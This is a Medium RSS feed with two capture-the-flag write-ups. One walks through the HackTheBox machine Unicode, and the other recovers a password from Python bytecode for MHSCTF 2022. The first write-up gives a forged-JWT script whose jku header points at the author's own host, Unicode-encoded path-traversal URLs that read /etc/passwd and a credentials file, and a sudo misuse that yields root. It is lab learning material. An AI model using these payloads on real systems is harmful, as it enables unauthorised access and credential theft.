<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Saad Akhtar on Medium]]></title>
        <description><![CDATA[Stories by Saad Akhtar on Medium]]></description>
        <link>https://medium.com/@ssaadakhtarr?source=rss-5f4305f40092------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NZf_l2D9OosQXlfBLC31_A.jpeg</url>
            <title>Stories by Saad Akhtar on Medium</title>
            <link>https://medium.com/@ssaadakhtarr?source=rss-5f4305f40092------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 18:14:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ssaadakhtarr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Unicode — HackTheBox Machine WriteUp]]></title>
            <link>https://ssaadakhtarr.medium.com/unicode-hackthebox-machine-writeup-f321ad1a1a4a?source=rss-5f4305f40092------2</link>
            <guid isPermaLink="false">https://medium.com/p/f321ad1a1a4a</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Saad Akhtar]]></dc:creator>
            <pubDate>Sat, 07 May 2022 16:26:18 GMT</pubDate>
            <atom:updated>2022-05-07T16:31:48.657Z</atom:updated>
            <content:encoded><![CDATA[<h3>Unicode — HackTheBox Machine WriteUp</h3><p>This post is focused on the walkthrough of Medium level machine Unicode of Hackthebox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VTiuUkr4IAbTYYWU7QXUow.png" /></figure><h3><strong>Enumeration</strong></h3><p>Starting out with the initial nmap scan</p><blockquote>nmap -A -vv 10.10.11.126</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3h8eorkHqrLT7uxHYaeUw.png" /></figure><p>We have ports 22 and 80 open. So let’s enumerate port 80 now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmAbHkDqe7sdK_UkpW6a3Q.png" /></figure><p>We have a webpage named Hackmedia.</p><p>Enumerating further we have a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q6gV3b_OrcScJGdv_QWsTw.png" /></figure><p>I tried SQL Injection but didn’t work so I registered an account and logged in using that to test the functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GfYvF1kUfNrrKB1OfKBxWw.png" /></figure><p>We have a user dashboard. Next we can check the upload file functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*Y-lmu911Lwbbo1IYCQKKlA.png" /></figure><p>After testing this feature I couldn’t bypass it so I moved on to test some other things.</p><h3>Gaining Access</h3><p>Looking at the cookie we have a JWT Token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ue85HiErF_zP1I-wVCz2PQ.png" /></figure><p>Looking at the decoded token, there are a few things we can tweak to login as admin and escalate further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhjgRSexZXPtsnRbhg3rfg.png" /></figure><p>I’ll be adding hackmedia.htb to the /etc/hosts file</p><blockquote>echo “10.10.11.126 hackmedia.htb” | sudo tee -a /etc/hosts</blockquote><p>Visiting the link above we have the following page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2tyE211K-o7UlRscY28Yg.png" /></figure><p>Now here’s what we’ll be doing. First we’ll create another JWT key and replace the values in the above jwks.json file. Then we’ll link our own tweaked jwks.json file with the original JWT token.</p><p>The following command will generate a key pair</p><blockquote>openssl genrsa -out key.pem 2048</blockquote><p>The following python script will take our key pair file and print out the values we need to change in jwks.json file.</p><blockquote>from jwcrypto import jwk, jwt</blockquote><blockquote>with open(‘key.pem’, ‘rb’) as pem:<br> key = jwk.JWK.from_pem(pem.read())</blockquote><blockquote>print(f’{key}’)<br>print(f’n: {key.n}’)</blockquote><p>We’ll replace the ’n’ and ‘kid’ value in the jwks.json file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ewnTTSiQOzfNYkxCHyMiQ.png" /></figure><p>Now our jwks.json file is as follows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OPZsm-qf1evk60qmCl4aag.png" /></figure><p>We’ll start a python http server to fetch our tweaked jwks.json file.</p><blockquote>python3 -m http.server 80</blockquote><p>The following script will regenerate the jwt token replacing the jwks.json file and change the value of user to admin.</p><blockquote>from jwcrypto import jwk, jwt</blockquote><blockquote>with open(‘key.pem’, ‘rb’) as pem:<br> key = jwk.JWK.from_pem(pem.read())</blockquote><blockquote>my_token = jwt.JWT(header={‘alg’:’RS256&#39;, ‘jku’:’<a href="http://hackmedia.htb/redirect/?url=10.10.14.160/jwks.json&#39;">http://hackmedia.htb/static/../redirect/?url=10.10.14.160/jwks.json&#39;</a>}, claims={‘user’:’admin’})<br>my_token.make_signed_token(key)<br>print(my_token.serialize())</blockquote><p>Now looking at our token we have</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OlRHDNpmKzQ-EDEjjjMH1g.png" /></figure><p>Now we’ll replace our original token with the above token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szTr81y22qGqd4DGh1aloQ.png" /></figure><p>Boom! we are logged in to the admin dashboard.</p><p>Now after testing for a while I came across that Current Month page could be vulnerable to LFI.</p><p>Accessing the following url we get</p><blockquote>hackmedia.htb/display/?page=../../etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vk3tDV7aRAdYRTM9bF0CRw.png" /></figure><p>Looking at the error message here we can assume there must be some sort of filtering. After looking around and trial &amp; error, I bypassed the filtering and read the /etc/passwd file</p><blockquote><a href="http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd">http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O6moFw-rikYllpUpT1FZKA.png" /></figure><p>We can see that we have a user named code.</p><p>From the initial nmap scan we know that the server is running on nginx so we can try to read the default nginx config file.</p><blockquote><a href="http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-available/default">http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-available/default</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*LHEzm0Rx5hzBqlp-9xggfA.png" /></figure><p>We can see that we have a db.yaml file and that could contain some valid credentials. Looking around for that file I found the file in the following path.</p><blockquote><a href="http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/home/code/coder/db.yaml">http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/home/code/coder/db.yaml</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*iDKR0NKR7wXgLsk-vNRA7g.png" /></figure><p>Boom! we have some creds. Let’s try these out in ssh.</p><blockquote>ssh code@hackmedia.htb</blockquote><p>And we’re in.</p><h4>user.txt</h4><p>Reading the user.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*18s7GS9gr2ekTNt1toqMVQ.png" /></figure><h3>Privilege Escalation</h3><blockquote>sudo -l</blockquote><p>Running the above command we can see that our user can run <em>/usr/bin/treport</em> file as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lILrpMplrSd8coyNzQqk_Q.png" /></figure><p>Let’s run this file first to test the functionality</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ajhmlr62Q0PNmNqH-N1sZQ.png" /></figure><p>Testing out the functionality, I noticed that the binary has four options. The most important ones are 2 &amp; 3. With option 3 we can download a file with an IP or file name and with option 2 we can read that file. Also the binary is using <em>curl</em> command to fetch the files.</p><h4>root.txt</h4><p>Since we can download the file through an IP or a file name, I downloaded the root.txt file and read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6xMKf5HYUscBgq11MlCGkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*I_cZ9qa8ZyKqLS8S_88d-Q.gif" /></figure><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f321ad1a1a4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MHSCTF 2022 — Avengers Assemble (Reverse Engineering)]]></title>
            <link>https://ssaadakhtarr.medium.com/mhsctf-2022-avengers-assemble-reverse-engineering-f9b283315824?source=rss-5f4305f40092------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9b283315824</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Saad Akhtar]]></dc:creator>
            <pubDate>Wed, 16 Mar 2022 08:45:38 GMT</pubDate>
            <atom:updated>2022-03-16T08:45:38.287Z</atom:updated>
            <content:encoded><![CDATA[<h3>MHSCTF 2022 — Avengers Assemble (Reverse Engineering)</h3><h3><strong>Description</strong></h3><p>The club I’ve been trying to get into has tightened up their security a lot! Can you get the password for me again? Note: the file uses the .asm extension which is not necessarily entirely accurate.</p><p>So here we are provided with a file with a <em>.asm</em> extension.</p><p>Running <strong><em>file</em></strong> command returns</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*0Y_EiCT8PAnszac51op9Qw.png" /></figure><p>Reading the file returns the following content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwaldOTVDe0N7LbAvJUeGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWsscfCujpf5UmoY1Pji_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PdFduEXFsL4aiy5NOEHShA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yN69BPwbBO2XifxiwIJiNg.png" /></figure><p>After analyzing the contents of the file and some googling I got to know that this is Python Bytecode.</p><blockquote>Bytecode is <strong>the low-level representation of the python</strong> code which is the platform-independent, but the code is not the binary code and so it cannot run directly on the targeted machine. It is a set of instructions for the virtual machine which is also called as the Python Virtual Machine[PVM].</blockquote><p>Through some more research I got to know how we can convert our own python code into bytecode. So I tried to make my own code in python, generate its bytecode and examine it against the code provided.</p><p>After a lot of trial and error I got the original code as following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*EstAKSQTSiwCMacm45gbIQ.png" /></figure><p>In the above part it declares an input variable <strong><em>inp</em></strong> and prompts user to enter the password. Then it declares an empty string variable named <strong><em>pwd</em></strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*8C1RtEufLP7nzXx4PCHqqg.png" /></figure><p>In the next part, a for loop is called up to the length of <strong><em>inp</em></strong> variable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*pBMsaoPU7HF1UifRP_cUww.png" /></figure><p>Looking at the next part..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*xpUEnaYmCdeuG5j2qSrSeg.png" /></figure><p>Now this part is the most important as in this part for every character of the <strong><em>inp</em></strong> variable it first calculates the unicode code of the character using <strong><em>ord()</em></strong>. Then it adds <strong><em>(i%7)</em></strong> to the unicode value and then calls <strong><em>chr()</em></strong> on that value and add it to the <strong><em>pwd</em></strong> variable (I got this from a lot of trial and error as I was not familiar with the python bytecode)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*zcaBiQqsIf4KqBG1o8l-7w.png" /></figure><p>Moving on the next part..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*Bdrjx07PYRwhPz5MkUh87g.png" /></figure><p>Here in this part it is storing some constant integers in a list called <strong><em>comp</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*_CSNk4qvgvmxYgyCEUbCog.png" /></figure><p>From the integer values I assumed that these are the values that our password will be compared against. So I reverse engineered the above logic and provided the comp value as input. The rest of the file content was about the comparison of input value with this <strong><em>comp</em></strong> variable. Following is the solution code to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*-KdEv74Thlv1FGAVWE7BsQ.png" /></figure><p>Here instead of adding <strong><em>(i%7)</em></strong> I subtracted this value from the comp integers and then called the <strong><em>chr()</em></strong> on each integer. As a result, I got the flag.</p><pre>flag{0n_your_13f7}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9b283315824" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>